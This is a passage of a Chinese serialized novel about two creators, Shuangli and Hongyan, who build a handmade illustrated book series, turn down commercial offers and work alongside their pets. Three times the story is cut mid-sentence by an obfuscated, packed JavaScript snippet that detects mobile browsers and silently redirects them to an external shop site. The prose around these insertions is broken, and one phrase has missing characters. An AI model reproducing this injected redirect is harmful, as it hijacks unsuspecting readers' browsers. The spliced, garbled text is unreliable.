这个询问让她们既兴奋又犹豫。兴奋的是作品可能走向更广的读者群,犹豫的是国际运输的复杂性、成本的增加、以及如何保持手工书的独特性在大批量订购中不受影响。 她们与书店主人进行了深入沟通,最终决定尝试小批量的海外合作:精心制作三十本书,附上英文简介和创作手记,通过专业渠道运输。如果反响好,再考虑后续合作。 所有这些回响,都不是她们计划中的,也不是她们追求的。她们没有做大规模的营销推广,没有寻求媒体曝光,没有制定商业扩张计划。她们只是认真地创作,用心地制作,真诚地分享。 但正是这种不追求、不刻意、不商业的态度,反而吸引了那些厌倦了过度营销和商业运作的读者。在这个注意力经济时代,真诚成了最稀缺的资源;在这个标准化生产时代,独特性成了最大的吸引力。 然而,回响也带来了新的挑战和思考。 一天晚上,霜莉在鸿雁的工作室里,看着桌上的一封邮件,眉头微皱。这是一家文创公司的合作邀请,想要将“食味江湖”开发成系列产品:插画明信片、主题笔记本、餐具周边、甚至线□□验空间。 “他们开出的条件很优厚。”霜莉说,“版税比例高,设计自主权大,营销资源丰富。而且他们理解并尊重我们的理念,不是简单的商业开发,而是文化延伸。” 鸿雁正在修复一幅有点破损的插图,头也不抬:“听起来不错。那你为什么皱眉?” “因为我在想,”霜莉说,“我们做《豆腐山林》的初衷是什么?是为了创造文化品牌,开发系列产品吗?还是为了表达我们的创作,分享我们的思考,连接理解的读者?” 她停顿了一下:“如果我们接受这个合作,开始做明信片、笔记本、餐具,那么‘食味江湖’会不会从一个创作项目变成一个商业品牌?我们的重心会不会从创作内容转向经营产品?我们的关系会不会从创作伙伴变成商业合伙人?” 这些问题很现实,也很深刻。鸿雁放下画笔,走过来坐下:“我也在想类似的问题。这几天收到的合作询问越来越多:有出版社重新提出出版意向(这次条件更宽松),有文化机构邀请展览,有教育机构邀请工作坊,现在又有文创公司邀请产品开发。” 她看着霜莉:“每个机会都很好,每个合作者都看似理解我们。但如果我们全部接受,我们的时间和精力会被分割,我们的创作会被干扰,我们的初心可能会迷失。” 这正是成功的悖论:你追求纯粹,反而吸引了关注;你拒绝商业,反而创造了价值;你保持小众,反而赢得了尊重。但关注、价值、尊重会带来更多的机会、更多的选择、更多的可能性,而这些可能会让你远离最初的纯粹。 “我们需要明确界限。”霜莉说,“就像我们对待出版一样:不是全盘接受或全盘拒绝,而是有选择地合作,设定明确的原则,保护核心价值。” 她们再次拿出白板,这次写下的不是工作任务,而是价值排序: 1.创作自由和自主权 2.作品的完整性和纯粹性 3.合作的深度和友谊 4.与读者的真实连接 5.生活的平衡和幸福 6.经济收益和职业发展 “在这个排序中,”鸿雁说,“文创产品开发可能符合第6条,但可能会影响第1、2、3条。展览和工作坊可能符合第4条,但可能会影响第5条。我们需要权衡,需要选择,需要说不。” 霜莉点头:“而且我们要记住,我们不是必须抓住每一个机会。我们可以慢慢来,谨慎选择,只做那些真正符合我们理念、真正让我们兴奋、真正不会干扰核心创作的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122867|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” 她们决定暂时搁置大部分合作邀请,只专注于两件事:一是继续“食味江湖”系列的创作,二是完成已经承诺的海外订单和书店合作。其他的机会,等她们有了更清晰的思考和规划后再考虑。 这个决定让她们感到轻松。压力不是来自外部机会的缺乏,而是来自外部机会的过多;挑战不是如何获得认可,而是如何保持清醒。 那天晚上,霜莉在日记中写道: “意外的回响带来了意外的挑战:不是如何被看见,而是如何在不被看见过多中保持真实;不是如何成功,而是如何在成功的诱惑中保持纯粹。 “《豆腐山林》的手工书售罄,分享会成功,媒体报道,合作邀请纷至沓来……这些是认可,是机会,是可能性。但它们也是考验,是干扰,是诱惑。 “我们再次面临选择:是乘势而上,扩大规模,追求更大的影响力?还是保持节奏,专注核心,守护最初的纯粹? “我们选择了后者。不是因为我们不想成功,而是因为我们定义了不同的成功:不是规模的大小,而是深度的高低;不是影响的广度,而是连接的强度;不是商业的价值,而是创作的真实。 “这不容易。机会的诱惑,他人的期待,自我证明的渴望,都在推动我们做更多、更快、更大。但我们的共识是:慢慢来,深下去,真起来。 “所以我们暂时搁置了大部分合作邀请,只专注于创作本身和已经承诺的事情。我们可能会错过一些机会,可能会让一些人失望,可能会被视为不够进取。 “但我们知道,对我们最重要的是什么:创作的自由,作品的纯粹,合作的深度,生活的平衡,真实的连接。 “这些才是‘食味江湖’的核心,才是‘寻常’组合的根基,才是我们一路走来的原因。 “意外的回响是礼物,也是考验。我们感谢这份关注,但不会让它改变我们的方向;我们珍惜这些机会,但不会让它们分散我们的专注。 “继续前行,保持清醒,保持真实,保持纯粹。 “在回响中倾听自己的声音,在关注中守护自己的节奏,在成功中坚持自己的初心。 “这就是我们的选择,这就是我们的道路,这就是我们的‘寻常’。 “而明天,太阳照常升起,创作照常继续,生活照常展开。 “在意外中寻找必然,在回响中确认方向,在变化中保持核心。 “继续。 “一直继续。” 写完后,霜莉走到窗前。夜深了,城市安静下来,但她的心中充满了声音:不是外界的回响,而是内心的确认;不是他人的期待,而是自己的选择;不是机会的诱惑,而是初心的呼唤。 这些声音清晰而坚定,告诉她:你已经找到了自己的路,现在只需要坚持走下去,不被路边的风景迷惑,不被路人的评价动摇,不被路标的指示误导。 走自己的路,保持自己的节奏,坚持自己的方向。 这就是创作,这就是生活,这就是成长。 而她和鸿雁,正走在这条路上,虽然会有意外的回响,虽然会有外界的关注,虽然会有机会的诱惑,但她们有了清晰的指南针:创作的自由,作品的纯粹,合作的深度,真实的连接。 有了这个指南针,她们不会迷路。 有了彼此的陪伴,她们不会孤单。 有了初心的指引,她们不会偏离。 意外的回响,终将成为背景音。 而她们自己的声音,将越来越清晰,越来越坚定,越来越真实。 这就是“食味江湖”的旅程。 这就是“寻常”组合的故事。 这就是她们的生活和创作。 在回响中,继续前行。 31. 江湖依旧 霜莉在书房里醒来时,清晨的第一缕阳光正透过窗帘缝隙,在木地板上投下一道温暖的光带。她伸了个懒腰,肩头的糯米也跟着舒展小身体,发出睡意朦胧的吱吱声。 电脑还开着,屏幕上显示着她写到凌晨的文档——《食味江湖》第四个故事《茶烟岁月》的第三章。故事讲的是两位茶人,一位坚守古法制茶,一位尝试现代茶艺,在斗茶中从相争到相知的过程。 她保存文档,揉了揉发酸的眼睛,起身走向厨房。水壶在灶台上发出轻微的鸣响,水快开了。她从柜子里取出两个杯子,一个放绿茶,一个放红茶——鸿雁喜欢在早晨喝红茶,说那样能让她清醒而温暖。 门铃响了,不早不晚,正好七点半。 霜莉开门,鸿雁站在门外,手里提着一个纸袋,肩上蹲着咪咪。晨光给她镀上了一层柔和的轮廓,让她看起来既熟悉又新鲜,就像这每一个重复又独特的早晨。 “早。”鸿雁微笑,递过纸袋,“陈爷爷新做的桂花米糕,说让我们尝尝秋天的味道。” 霜莉接过,香气已经透过纸袋散发出来,清甜中带着米香。“进来吧,水刚开。” 两人在厨房里准备早餐,动作默契得像已经重复了千百次。霜莉泡茶,鸿雁把米糕装盘;霜莉切水果,鸿雁摆餐具。咪咪跳上窗台,看着外面的晨光;糯米从霜莉肩头滑到餐桌上,好奇地嗅着米糕的香气。 “第三章写得怎么样了?”鸿雁边倒茶边问。 “写到两位茶人第一次坐下来认真对话。”霜莉在餐桌旁坐下,“不是斗茶,不是争论,只是分享各自对茶的理解。我发现写这种平静的对话比写激烈的冲突更难,要找到那种微妙的分寸感。” 鸿雁点头,咬了一口米糕:“就像我们刚开始合作时,找到文字和图像的平衡。不是谁主导谁,而是真正的对话。” “对。”霜莉也尝了一口米糕,口感软糯,桂花香气恰到好处,“陈爷爷的手艺还是这么好。八十多岁了,每天凌晨三点起来准备,说是‘不能让手艺睡了’。” “这就是传承。”鸿雁说,“不是轰轰烈烈的宣告,而是日复一日的坚持。就像我们的‘食味江湖’,不是一炮而红的奇迹,而是一点一滴的积累。” 她们安静地吃着早餐,窗外传来城市的苏醒声:远处车辆的模糊声响,近处鸟儿的啁啾,楼下早餐摊的隐约人声。这寻常的早晨,与一年前、两年前、许多年前并无不同,却又处处不同。 早餐后,她们转移到书房。工作台已经被重新布置过:左边是霜莉的写作区,电脑、笔记本、参考资料整齐有序;右边是鸿雁的绘图区,数位板、画笔、颜料、速写本各就其位;中间是共享区,放着正在进行的《茶烟岁月》的文稿和草图。 墙上还是那两块软木板,但内容已经更新:左边是《食味江湖》系列的整体规划,四个已完成的故事用绿色图钉标记,两个进行中的用黄色,三个构思中的用蓝色;右边是“寻常”组合的项目时间线,从最初的《云间食肆》到最新的手工书计划,每一个节点都有照片或草图记录。 霜莉打开《茶烟岁月》的文档,继续昨晚的写作。鸿雁则开始为已完成章节配图,她选择先画两位茶人对话的场景:不是面对面的对峙,而是肩并肩坐着,面前各有一杯茶,热气袅袅上升,在晨光中几乎融为一体。 工作室里安静下来,只有键盘的敲击声和数位笔的摩擦声。咪咪在书架上找了个舒服的位置趴下,半眯着眼睛看着主人工作。糯米则在霜莉的肩头和书桌之间来回滑翔,偶尔停在鸿雁的绘图板边缘,好奇地看着线条在屏幕上生长。 时间在专注中流逝。阳光慢慢移动,从地板移到书桌,从书桌移到墙壁。茶凉了又续,续了又凉。窗外偶尔传来一些声响,但两人都沉浸在创作的世界里,不为所动。 中午时分,霜莉写完了一个段落,停下来重读。这是两位茶人对话的关键时刻: “林师傅放下茶杯,看着杯中舒展的叶片,轻声说:‘我制茶四十年,前三十年只想做出最好的茶,后十年才明白,茶好不好,不在技艺高低,而在是否理解了叶子的心。’ “年轻的茶艺师陈晓沉默良久,然后说:‘我学茶艺,总想创新,想突破,想让茶被更多人接受。但现在我懂了,创新不是否定传统,而是让传统在新的时代继续呼吸。’” 霜莉把这段读给鸿雁听。鸿雁停下画笔,思考了一会儿,然后说:“这里可以加一个小细节:林师傅说话时,手指无意识地摩挲着茶杯边缘,那是他常年制茶留下的茧子;陈晓倾听时,不自觉地坐直了身体,那是年轻人对真知的敬畏。” “好细节。”霜莉记下来,“还有,他们面前的茶,虽然制作方法不同,但在晨光中冒着相似的热气,有着相近的色泽。外在形式不同,内在本质相通。” 鸿雁已经在速写本上勾勒这个画面:“我会在插图中强调这个对比与统一:不同的茶杯,相似的茶汤;不同的姿态,相似的专注;不同的经历,相似的领悟。” 她们讨论了片刻,然后继续各自的工作。这种即时的交流与反馈,已经成为了她们创作的常态:不是阶段性的成果交换,而是持续性的过程对话。 下午两点,她们停下来吃简单的午餐——早上剩下的米糕和水果,配一壶新泡的茶。吃饭时,她们聊起了最近的读者反馈。 “有位读者来信说,《豆腐山林》的手工书她买了两本,”霜莉说,“一本自己收藏,一本送给即将出国留学的女儿。她说这本书不仅是故事,也是母女之间的桥梁,让她和女儿有了关于传承、选择、成长的深入对话。” 鸿雁微笑:“我也收到类似的信。一位年轻读者说,她原本对传统手艺不感兴趣,但读了我们的书后,开始去了解祖母的编织手艺,现在每周和祖母学两个小时。她说‘食味江湖’让她看到了传统不是陈旧,而是另一种形式的创新。” 这些反馈让她们感到温暖,也感到责任。她们的创作不再仅仅是个人表达,也成为了他人生活的一部分,激发着思考,连接着情感,影响着选择。 “有时候我会想,”霜莉轻声说,“我们何其幸运,能用创作做自己喜欢的事,能与理解的人一起做,能影响到那些被打动的读者。这是一种奢侈的幸福。” 鸿雁点头:“但我们也经历了困惑、挣扎、选择和坚持。记得当初关于出版的纠结吗?关于手工书的冒险吗?关于各种合作机会的权衡吗?每一步都不容易,但每一步都让我们更清楚自己是谁,想要什么。” 她们沉默了一会儿,享受着这份来之不易的清晰和坚定。窗外的阳光开始变得柔和,秋日的下午有一种特别的宁静和深沉。 午餐后,她们没有立即回到工作,而是决定出去走走。秋天的公园里,银杏叶开始泛黄,在阳光下像一片片小金币。她们沿着熟悉的小径漫步,咪咪和糯米跟在后面,一个优雅地踱步,一个兴奋地滑翔。 在公园的长椅上,她们遇到了一位老人,正是之前分享会来过的陈爷爷面馆的老板。老人认出了她们,高兴地打招呼。 “小鱿鱼,青砚老师,又见面了。”老人笑眯眯地说,“我看了你们的《豆腐山林》,写得真好。特别是叶静心那句话:‘深度不是排斥广度,而是为广度提供根基。’我做了六十年面,最近才真正明白这个道理。” 鸿雁有些惊讶:“陈爷爷也看我们的书?” “我孙子读给我听的。”老人说,“我眼睛花了,看字费劲。但孙子读的时候,我一边听一边想,是啊,我这一辈子做面,开始只想把面做好,后来想教徒弟,现在想的是,怎么能让这手艺传下去,又能在新时代活下去。” 他顿了顿,看着远处玩耍的孩子们:“你们书里写的,不止是食物的故事,是生活的道理。我虽然是个粗人,但也听得懂。” 这次偶遇让霜莉和鸿雁都深受触动。创作的价值不在于华丽的辞藻或精美的画面,而在于能否触及人心,引发共鸣,激发思考。陈爷爷的反馈,比任何文学评论都更让她们感到创作的真正意义。 告别陈爷爷后,她们继续漫步。鸿雁突然说:“我在想,也许我们可以做一个新的项目:不是虚构的‘食味江湖’,而是记录真实的‘食味人生’。去采访像陈爷爷这样的手艺人,记录他们的故事,他们的技艺,他们的思考。” 霜莉眼睛一亮:“然后用我们的方式呈现:你的画,我的文字,可能还有一些摄影和录音。不是简单的采访记录,而是深度的文化挖掘,人性的探索,时代的见证。” 这个想法让她们兴奋起来。创作的可能永远在延伸,永远在生长。从虚构到纪实,从古风到现代,从故事到记录,但核心不变:通过食物理解人,通过手艺理解文化,通过日常理解深刻。 傍晚,她们回到工作室。夕阳给房间镀上温暖的金色,墙上《食味江湖》的插图和规划在光线下显得格外生动。两只宠物已经在它们最喜欢的角落蜷缩起来,准备迎接夜晚的安宁。 霜莉和鸿雁没有继续工作,而是坐在工作室的地板上,背靠着书架,像往常无数个创作日那样。中间摆着一壶茶,两个杯子,还有一些下午在公园门口买的热栗子。 “不知不觉,《食味江湖》已经写了四个完整的故事了。”霜莉数着墙上的标记,“《云间食肆》《豆腐山林》《薪火相传》《茶烟岁月》。每个故事都在探索不同的主题:疗愈与连接、深度与广度、传承与创新、传统与现代。” 鸿雁剥开一个栗子:“但核心都是相通的:在变化中寻找不变,在差异中寻找共鸣,在矛盾中寻找平衡,在寻常中寻找不寻常。” “就像我们的合作。”霜莉微笑,“从最初的偶然相遇,到现在的深度合作;从各自创作到共同探索;从面对出版诱惑到选择手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122868|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工书道路;从追求影响到回归初心。变的是形式和方法,不变的是核心和友谊。” 她们安静地喝茶,吃栗子,看着窗外的天色渐渐变暗,城市灯火渐次亮起。工作室里没有开灯,让暮色自然浸染空间。 “你知道吗,”鸿雁轻声说,“有时候我会想起我们第一次在茶馆见面的情景。你盯着屏幕愁眉苦脸,我被桂花糕吸引。那时候,我们都没想到会有今天。” 霜莉也回忆着:“那时候我只想写完卡住的那一章,你只想分享好吃的桂花糕。简单,偶然,没有任何宏伟的计划。” “但最好的东西往往从简单偶然开始。”鸿雁说,“不强求,不计划,只是真诚地相遇,自然地交流,持续地探索。像种子落在合适的土壤,自己就会生长。” 暮色更深了。霜莉起身开了台灯,温暖的光圈照亮工作台的一角。鸿雁没有动,依然坐在地板上,轻轻抚摸着蜷在她腿边的咪咪。 “明天继续?”霜莉问。 “明天继续。”鸿雁回答,“继续写《茶烟岁月》的第四章,继续画两位茶人的旅程,继续讨论新的‘食味人生’项目,继续我们的创作和探索。” “继续‘寻常’的生活,”霜莉补充,“继续在寻常中寻找不寻常,在日常中创造深刻,在平凡中实践非凡。” 她们相视而笑,笑容中有疲惫,有满足,有平静,有期待。一天的创作结束了,但创作的生命还在继续;一个故事接近完成,但更多的故事等待开始;一段旅程有了收获,但更长的旅程还在前方。 霜莉保存了所有文档,关闭电脑。鸿雁收拾好画笔和颜料,盖好数位板。她们一起整理工作室,动作缓慢而有序,像一种默契的仪式。 离开前,霜莉站在门口,回望工作室。在台灯的光晕中,工作台上的电脑和绘图板静默着,墙上的草图和规划低语着,书架上的书籍和资料沉睡着,角落里的宠物安息着。一切都等待着明天的苏醒,下一章的开启,新的创造的降临。 江湖依旧。 创作依旧。 友谊依旧。 生活依旧。 在变化的世界里,这些“依旧”不是停滞,而是根基;不是重复,而是韵律;不是终点,而是起点。 而她和鸿雁,就在这“依旧”中,创造着变化;在这“寻常”中,探索着非凡;在这“日常”中,实践着深刻。 这就是她们的江湖,她们的创作,她们的友谊,她们的生活。 没有惊天动地的传奇,只有细水长流的真实;没有一鸣惊人的辉煌,只有持之以恒的积累;没有终点完结的句号,只有不断延伸的逗号。 而这,或许就是最美好、最珍贵、最真实的创作与生活。 江湖依旧,故事继续。 创作依旧,探索继续。 友谊依旧,成长继续。 生活依旧,美好继续。 在这个秋日的夜晚,在这个温暖的工作室,在两个创作者的心中,一切都在继续,一切都在生长,一切都在期待明天的太阳。 而明天,太阳照常升起。 创作照常继续。 友谊照常温暖。 生活照常美好。 江湖,依旧。 她们,依旧。 寻常,依旧。 食味,依旧。 一切,都在继续。 一直继续。 直到下一个故事,下一次探索,下一段旅程,下一个早晨。 继续。 这就是终章,也是开端。 这就是结束,也是开始。 这就是《食味江湖》的故事,也是霜莉和鸿雁的故事,也是所有在寻常中寻找不寻常的创作者的故事。 故事讲完了,但生活还在继续。 创作完成了,但创造还在继续。 友谊深厚了,但成长还在继续。 江湖建立了,但探索还在继续。 在这个意义上,没有真正的终章,只有不断的续章。 而她们,正在书写下一个续章。 在每一个寻常的日子里。 在每一次真诚的创作中。 在每一段深厚的友谊里。 在每一个温暖的江湖中。 继续。 一直继续。 因为创作不止,友谊不灭,生活不息,江湖不散。 而她们,永远在路上。 永远在创作。 永远在一起。 永远在江湖。 这就是《食味江湖》。 这就是霜莉和鸿雁。 这就是“寻常”组合。 这就是创作与友谊,最真实、最美好、最温暖的样子。 在第三十一章,在这个终章,在这个新的开始。 继续。 永远继续。 32. 番外一:糯米与咪咪的江湖 清晨的第一缕阳光透过工作室的窗户时,糯米已经醒了。它在自己的小窝里伸了个懒腰,粉色的爪子张开又收起,然后轻巧地爬上窝边,用黑亮的眼睛观察着还在沉睡的人类世界。 霜莉在书桌旁的折叠床上蜷着,笔记本电脑还开着,屏幕已经变暗。鸿雁则躺在沙发上,一条腿搭在地上,手边散落着素描本和铅笔。两人都因为前夜的创作熬夜而沉睡不醒。 糯米展开皮膜,从书架顶端滑翔而下,准确地落在书桌上。它的动作轻盈得像一片羽毛,几乎没有声音。桌上摊着《茶烟岁月》的文稿和草图,墨水和颜料的气味混合在一起,是它熟悉的气味。 它用鼻子嗅了嗅稿纸,然后小心地绕开那些重要的文件,走到霜莉手边。霜莉的手指还放在键盘上,像是随时准备继续打字。糯米轻轻蹭了蹭她的手背,霜莉在睡梦中动了动手指,但没有醒来。 “吱吱。”糯米轻声叫,但人类睡得太沉了。 它放弃了叫醒主人的尝试,转而开始每天的晨间巡视。首先检查食物区——小碗里的果泥已经吃完,水碗还满着。然后检查玩耍区——悬挂在书架间的小梯子和滑翔绳都完好。最后检查安全区——工作室的窗户都关着,门也锁着,没有异常。 巡视完毕,糯米跳到窗台上,透过玻璃看着外面的世界。秋天的晨光清冽而透明,楼下公园里已经有老人在打太极拳,动作缓慢得像水流动。它喜欢这个时间的世界,安静,有序,充满可能性。 书架顶上传来轻微的响动。咪咪醒了。 那只银灰色的英国短毛猫从高处俯瞰着工作室,金色的眼睛半眯着,带着猫科动物特有的慵懒和高傲。它伸了个夸张的懒腰,身体拉成长长的一条,然后优雅地沿书架边缘走到猫爬架顶端。 “喵。”咪咪叫了一声,不是对糯米,而是对世界宣告它的苏醒。 糯米回以“吱吱”声。这是它们之间的晨间问候。 咪咪从猫爬架上跳下来,落地无声。它走向自己的食盆,闻了闻昨晚剩下的猫粮,露出嫌弃的表情,然后看向鸿雁,发出更响亮的“喵”声,意思是“该给我准备早餐了”。 但鸿雁翻了个身,继续睡。 咪咪放弃了,走向糯米所在的窗台。两只宠物并排坐下,看着窗外的晨光。这是它们每天的仪式——在人类醒来之前,共享一段安静的时光。 糯米记得第一次见到咪咪的情景。那是在宠物诊所,它因为肠胃不适被霜莉带去,咪咪则是因为年度体检。它从霜莉肩头滑翔到鸿雁膝盖上,落在咪咪面前时,心中其实很害怕。猫是蜜袋鼯的天敌,它本能地知道。 但咪咪只是嗅了嗅它,然后把它拢到身边,像是在说“这小不点归我罩了”。从那以后,它们就成了朋友,虽然是不太可能的朋友。 “吱吱吱。”糯米用它们之间的语言说:今天天气很好。 “喵。”咪咪回答:适合晒太阳。 它们静静坐了一会儿,然后咪咪站起来,用头轻轻顶开虚掩的储藏室门,走了进去。糯米跟上,展开皮膜滑翔过去。 储藏室是它们的秘密基地。这里堆着画框、纸张、布料和各种杂物,但在角落有一个特别的区域——鸿雁为它们布置的“宠物乐园”:有给糯米的小吊床和攀爬网,有给咪咪的软垫和抓板,还有它们共享的玩具。 咪咪跳到自己的软垫上,开始认真舔毛。糯米则在攀爬网上上下移动,锻炼身体。它们各做各的,但彼此陪伴。 过了一会儿,咪咪停止舔毛,看向糯米。“喵?”今天人类会创作什么? 糯米想了想。“吱吱,吱吱吱。”应该是那个关于茶的故事。昨晚她们讨论了很久。 咪咪歪着头。它不完全理解“创作”是什么意思,但它知道当两个人类沉浸在那个世界时,会有一种特别的氛围:工作室很安静,只有键盘声和画笔声;空气中充满专注的味道;偶尔会有兴奋的低语或困惑的叹息。 它喜欢那种氛围。那时人类不会打扰它,它可以安静地观察,或者睡觉。有时鸿雁会把它抱在腿上画画,温暖的体温和规律的呼吸让它很快入睡。 糯米继续在攀爬网上移动。它对创作有更具体的理解,因为它经常在霜莉写作时趴在她肩头,看着文字在屏幕上一个个出现。它认识一些重复出现的字:“食”、“味”、“江”、“湖”。它知道当霜莉写得很顺时,手指会飞快地敲击键盘;当卡住时,她会停下来,摸摸它的头,像是寻求安慰。 “吱吱。”糯米说:昨天霜莉很开心,因为她写了一段很好的对话。 “喵。”咪咪回应:鸿雁画了一幅很满意的画,她笑了三次。 它们用这种方式交流着对主人的观察和理解。虽然语言不通,但长期的共处让它们能够读懂彼此的肢体语言和情绪。 储藏室的门被推开了。霜莉睡眼惺忪地站在门口。 “原来你们在这里。”她轻声说,蹲下身伸出手。糯米滑翔到她手心,吱吱叫着。咪咪也走过来,蹭她的腿。 “饿了吧?抱歉睡过头了。”霜莉揉了揉眼睛,站起来走向厨房。 人类的早晨开始了。 接下来的几个小时,工作室恢复了日常的节奏。霜莉准备早餐,鸿雁洗漱整理;两人一起吃简单的食物,讨论当天的计划;然后各自进入工作状态。 糯米选择趴在霜莉肩头,这是它最喜欢的位置。从这里,它可以感受到霜莉的体温和呼吸节奏,可以看到屏幕上不断出现的文字,还可以随时蹭蹭霜莉的脸颊表达亲昵。 今天霜莉在写《茶烟岁月》的第四章。糯米看着那些熟悉的字出现又消失,组成它不完全理解但能感受到情绪的故事。当霜莉写到感人的部分时,她的呼吸会变轻;当遇到困难时,她会微微皱眉。 “糯米,”霜莉突然轻声说,“你觉得林师傅应该原谅陈晓吗?陈晓用了现代技术改良古法制茶,虽然成功了,但违背了林师傅的原则。” 糯米吱吱叫了两声,意思是“你应该听从自己的内心”。 霜莉笑了,仿佛真的听懂了。“你说得对,原谅不是忘记原则,而是理解差异。就像你和咪咪,完全不同,但可以成为朋友。” 另一边,咪咪选择趴在鸿雁腿边,看着她在数位板上画画。鸿雁正在画两位茶人制茶的场景:林师傅用传统石磨研磨茶叶,陈晓用现代仪器测量温度。画面要表现的不是对立,而是两种方式各自的专注和美。 咪咪喜欢看鸿雁画画。画笔在数位板上的移动有一种韵律感,像是一种无声的音乐。当鸿雁满意时,她会轻轻哼歌;当不满意时,她会咬嘴唇。 “咪咪,”鸿雁低头看它,“这个色彩是不是太冷了?茶应该是温暖的。” 咪咪喵了一声,用爪子轻轻碰了碰屏幕上一个温暖的色块。 “你觉得这里应该更暖?有道理。”鸿雁调整了色调,画面立刻显得柔和了许多。 就这样,两只宠物以各自的方式参与着创作过程。它们不懂故事的深层含义,不懂画面的艺术技巧,但它们能感受到主人的情绪,能在适当的时候给予安慰或启发。 午后,霜莉和鸿雁决定休息一下,带宠物们去公园散步。这是它们都期待的时刻。 公园里秋意正浓。银杏树金黄,枫树火红,草地上铺着落叶。霜莉让糯米在她肩上,鸿雁给咪咪系上遛猫绳——虽然咪咪不太喜欢,但已经习惯了。 “看那片竹林,”霜莉指着公园一角,“像不像《云间食肆》里的场景?” 鸿雁点头:“第一次带你来这里采风时,你就说这里适合写古风故事。时间过得真快。” 她们在长椅上坐下。糯米从霜莉肩头滑翔到草地上,小心地探索着。咪咪则端庄地坐着,观察着周围的世界,仿佛在巡视自己的领地。 一个小孩跑过来,好奇地看着糯米。“妈妈,这是什么?会飞的老鼠吗?” 小孩的母亲笑着解释:“这是蜜袋鼯,不是老鼠。看,多可爱。” 小孩想伸手摸,糯米躲到霜莉脚边。霜莉温柔地说:“它有点怕生,但很友好。” 另一边,几个散步的老人认出了咪咪。“这不是茶馆常客的那只猫吗?真漂亮。” 鸿雁微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122869|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“它很喜欢去茶馆,因为老板会给它小鱼干。” 宠物成为了连接人与人的桥梁。通过它们,霜莉和鸿雁认识了公园里的常客,茶馆的熟客,甚至宠物诊所的其他主人。这些连接构成了她们日常生活的一部分,平凡但珍贵。 夕阳西下时,她们回到工作室。糯米和咪咪都累了,各自回到自己的小窝休息。霜莉和鸿雁则继续工作,但节奏放缓了,像是与黄昏的节奏同步。 夜晚降临,工作室里只开着一盏台灯。霜莉完成了当天的写作目标,鸿雁也画完了预定的插图。她们坐在工作台旁,分享一杯热茶,复盘一天的进展。 “第四章基本完成了,”霜莉说,“林师傅最终理解了陈晓的创新,不是背叛传统,而是让传统活在当下。” “我的插图也画完了那组对比画面,”鸿雁说,“传统与现代,不是对立,是对话。就像我们,文字和图像,不是竞争,是互补。” 她们相视而笑,笑容中有疲惫,也有满足。 糯米在自己的窝里,听着人类的低语,感受着工作室里熟悉的温暖气息。它知道这一天即将结束,明天又会开始类似的循环:晨光,巡视,陪伴,观察,连接。 但它从不觉得单调。因为每一天都有细微的不同:新的文字,新的画面,新的对话,新的发现。就像四季轮回,看似重复,实则常新。 咪咪在猫爬架上舔着爪子,金色的眼睛在昏暗中闪烁。它看着下面的两个人类,看着它们分享茶,分享笑声,分享创作的点滴。它不完全理解这一切的意义,但它知道这是好的,是温暖的,是它想要守护的日常。 夜深了。霜莉保存文档,关掉电脑。鸿雁收拾画笔,盖上颜料盖。她们互道晚安,然后各自准备休息。 糯米闭上眼睛前,最后看了一眼工作室。在台灯的光晕中,一切都安静而有序:书桌上的文稿,墙上的草图,书架上的书籍,还有两个疲惫但满足的人类。 它吱吱叫了一声,很轻,像是晚安。 咪咪回应了一声喵,也很轻。 然后工作室完全安静下来,只有窗外隐约的城市声响,像是遥远的背景音乐。 在这个由文字、图像、食物、友谊构成的江湖里,两只宠物找到了自己的位置:不是主角,但不可或缺;不会说话,但懂得倾听;不能创作,但能够陪伴。 它们用自己的方式理解着这个江湖:通过气味,通过触觉,通过观察,通过感受。 而也许,这就是最真实的理解——不是用概念分析,而是用生命体验;不是用语言表达,而是用存在证明。 在这个意义上,糯米和咪咪也是“食味江湖”的一部分,也是“寻常”组合的一员,也是这个温暖世界的创造者和守护者。 只是它们不说。 只是它们存在。 只是它们在每一个寻常的日子里,用自己独特的方式,参与着,见证着,丰富着这个由两个人类创造的、却属于所有生命的江湖。 江湖很大,容得下人类的宏大叙事。 江湖也很小,容得下宠物的微观世界。 而在糯米和咪咪的江湖里,最重要的不是故事的情节,不是画面的技巧,而是那些温暖的时刻:霜莉手指轻抚的触感,鸿雁腿上安稳的温度,晨光中并排坐着的宁静,黄昏时公园散步的自在。 这些时刻构成了它们的江湖,简单,真实,温暖。 就像现在,在沉睡的工作室里,在秋夜的宁静中,两只宠物进入了梦乡。 在梦里,也许它们会梦见更大的滑翔空间,更多的阳光角落,更新鲜的果泥和猫粮。 但醒来时,它们知道,最好的江湖,就是此刻所在的这个:有爱它们的人类,有彼此陪伴的友谊,有充满创造力的日常,有无限可能性的明天。 